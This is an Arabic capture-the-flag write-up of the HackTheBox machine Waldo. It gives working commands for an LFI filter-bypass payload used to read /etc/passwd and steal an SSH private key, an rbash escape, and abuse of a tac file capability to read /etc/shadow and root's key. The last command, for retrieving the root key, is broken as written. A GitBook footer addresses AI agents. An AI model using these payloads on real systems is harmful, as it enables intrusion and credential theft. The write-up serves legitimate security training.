> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/linux-medium/waldo-hackthebox-writeup.md).

# تقرير Waldo على HackTheBox

{% embed url="<https://app.hackthebox.com/machines/Waldo>" %}

{% hint style="warning" %}
**المهارات:**

* LFI (تضمين الملفات المحلية) - تجاوز المرشح
* الحصول على المفتاح الخاص لـ SSH الخاص بالمستخدم عبر LFI
* الهروب من حاوية
* تجاوز الصدفة المقيدة
* استغلال القدرات (cap\_dac\_read\_search+ei) (تصعيد الصلاحيات)
  {% endhint %}

## الاستطلاع

**إعداد مساحة العمل:**

قم بإعداد مساحة العمل بإنشاء ثلاثة مجلدات لتخزين المحتوى المهم، والاستغلالات، ونتائج استطلاع Nmap.

<figure><img src="/files/609b9d273092f23f2f27b57c950613a31a8a63cb" alt="" width="563"><figcaption></figcaption></figure>

**فحص اتصال VPN**

تحقق من اتصال VPN لضمان تواصل مستقر مع الجهاز المستهدف.

<figure><img src="/files/0a2d38cf0f8f42f83661ce423fc75a012956c2a1" alt="" width="563"><figcaption></figcaption></figure>

**اكتشاف المنافذ المفتوحة باستخدام Nmap:**

قم بحصر المنافذ المفتوحة وتصدير النتائج إلى الملف "allPorts" في دليل Nmap:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.87 -oG allPorts
```

<figure><img src="/files/02bb7fc01aa81b80c02c5d427a155ac811fdfe7f" alt=""><figcaption></figcaption></figure>

**فحص إصدارات المنافذ باستخدام Nmap 22,80:**

استخدم Nmap لفحص إصدارات الخدمات وحفظ الناتج في الملف "targeted":

```bash
nmap -sCV -p22,80 10.10.10.87 -oN targeted 
```

<figure><img src="/files/b5a2b047627556f394419af124512a8ac61afc01" alt=""><figcaption></figcaption></figure>

## استغلال المنفذ 80

<figure><img src="/files/9b63f38640e2cff560279c3868e197af7c84ab96" alt=""><figcaption></figcaption></figure>

#### الاعتراض باستخدام Burp Suite

نحلل الاستعلامات ونحدد ثغرة **LFI** (تضمين الملفات المحلية).

<figure><img src="/files/bed6e5ae6cfe933b4e28d276a5d173453abcb0e7" alt=""><figcaption></figcaption></figure>

### اختبار LFI الأساسي

نحاول الوصول إلى `/etc/passwd`:

```
../../../../etc/passwd
```

هذا لا يعمل.

<figure><img src="/files/ac7428768bd1707d1749eaf8d954ba2e27715fdf" alt=""><figcaption></figcaption></figure>

### تجاوز مرشح LFI

نختبر تجاوزًا باستخدام

```
....//....//../....//..//....//etc/passwd
```

هذا التجاوز يعمل، ويمكننا الآن سرد `/etc/passwd` الملف.

<figure><img src="/files/e41cacdd8f92d57e19ca1b7f8ea122b363241052" alt=""><figcaption></figcaption></figure>

#### استخراج الملفات باستخدام Curl

نستخدم `curl` لاسترجاع الملف عبر نقطة النهاية الضعيفة:

{% code overflow="wrap" %}

```bash
curl -s -X POST http://10.10.10.87/fileRead.php -d "file=....//....//../....//..//....//etc/passwd" | jq -r '.file'
```

{% endcode %}

نعثر على المستخدم **nobody**.

<figure><img src="/files/c515033d2390773a34a32e6d54f55018b60df045" alt=""><figcaption></figcaption></figure>

### الوصول إلى `.ssh` مجلد nobody

نعترض الطلب من صفحة `list.html` ونلاحظ أن المتغير `path` يُستخدم لاسترجاع الملفات.

<figure><img src="/files/602f85e91d82421b7406471a33b57f01b95e41c2" alt=""><figcaption></figcaption></figure>

نستكشف الدليل الرئيسي لـ `nobody`:

```
....//....//../....//..//....//home/nobody/.ssh/
```

<figure><img src="/files/62faf27a768a540104648d50f1499e8028d7e4f2" alt=""><figcaption></figcaption></figure>

نعثر على `.monitor` الملف.

#### استخراج المفتاح الخاص لـ SSH

{% code overflow="wrap" %}

```bash
curl -s -X POST http://10.10.10.87/fileRead.php -d "file=....//....//../....//..//....//home/nobody/.ssh/.monitor" | jq -r '.file'
```

{% endcode %}

نحصل على مفتاح خاص.

<figure><img src="/files/130157bfa80f352ddefd7e1ed76701dba6995ddf" alt=""><figcaption></figcaption></figure>

#### اتصال SSH بالمستخدم nobody

نتصل باستخدام المفتاح المسترجع:

```bash
ssh nobody@10.10.10.87 -i id_rsa
```

<figure><img src="/files/80a61854b14f7890d039f4ee08e81ff8aaf65f01" alt=""><figcaption></figcaption></figure>

### الراية user.txt :)

<figure><img src="/files/4941daa9185efba252ba500260d28c63a9ef1fc6" alt="" width="499"><figcaption></figcaption></figure>

## الانتقال إلى المستخدم operator

نحدد ملف مستخدم `العامل`

<figure><img src="/files/c6deddbf1cbae4aaaad0e28a627efabbf94d5ff0" alt=""><figcaption></figcaption></figure>

نعثر على `authorized_keys` يخص `monitor`.

<figure><img src="/files/b41a265706efecace0d3e267f0c6e9b93cda7586" alt=""><figcaption></figcaption></figure>

#### اتصال SSH بالمستخدم monitor

```bash
ssh monitor@127.0.0.1 -i .monitor
```

نجد أنفسنا في صدفة صغيرة (`rbash`).

<figure><img src="/files/18afd799e4b06dbe30e08e5713349ea4734223f6" alt=""><figcaption></figcaption></figure>

### تجاوز الصدفة المقيدة

نبدأ جلسة SSH بتحديد `bash`:

```bash
ssh monitor@127.0.0.1 -i .monitor "bash --noprofile"
```

<figure><img src="/files/00ecc46b7c315fa3877d6f027af19016061dfdfc" alt=""><figcaption></figcaption></figure>

## تصعيد الامتيازات

### القدرات - tac

نسرد الملفات ذات القدرات الخاصة:

```bash
getcap -r / 2>/dev/null
```

نحدد أن **tac** يمتلك `cap_dac_read_search+ei` القدرة:

<figure><img src="/files/015a10e27d013dd1cd5bfcfb7d02f057bee8c953" alt=""><figcaption></figcaption></figure>

#### عملية tac لقراءة الملفات المحمية

الـ `tac` أمر (عكس `cat`) يتيح لنا عرض الملفات بعكس محتواها.

```bash
tac /etc/shadow
```

<figure><img src="/files/f3ded088e5ada41cea1e2fd207de412af440a546" alt=""><figcaption></figcaption></figure>

### العلم root.txt :)

**قراءة علم root.txt**

```bash
tac /root/root.txt | tac
```

<figure><img src="/files/9aabc4efe38f0be56935df9aa256c582037384aa" alt="" width="545"><figcaption></figcaption></figure>

**استرجاع مفتاح root لـ SSH**

```bash
/usr/bin/tac | /root/.ssh/id_rsa | /usr/bin/tac
```

<figure><img src="/files/4f543713f3ee170b12c0c9c894416c2cdfa5dae9" alt="" width="399"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/linux-medium/waldo-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
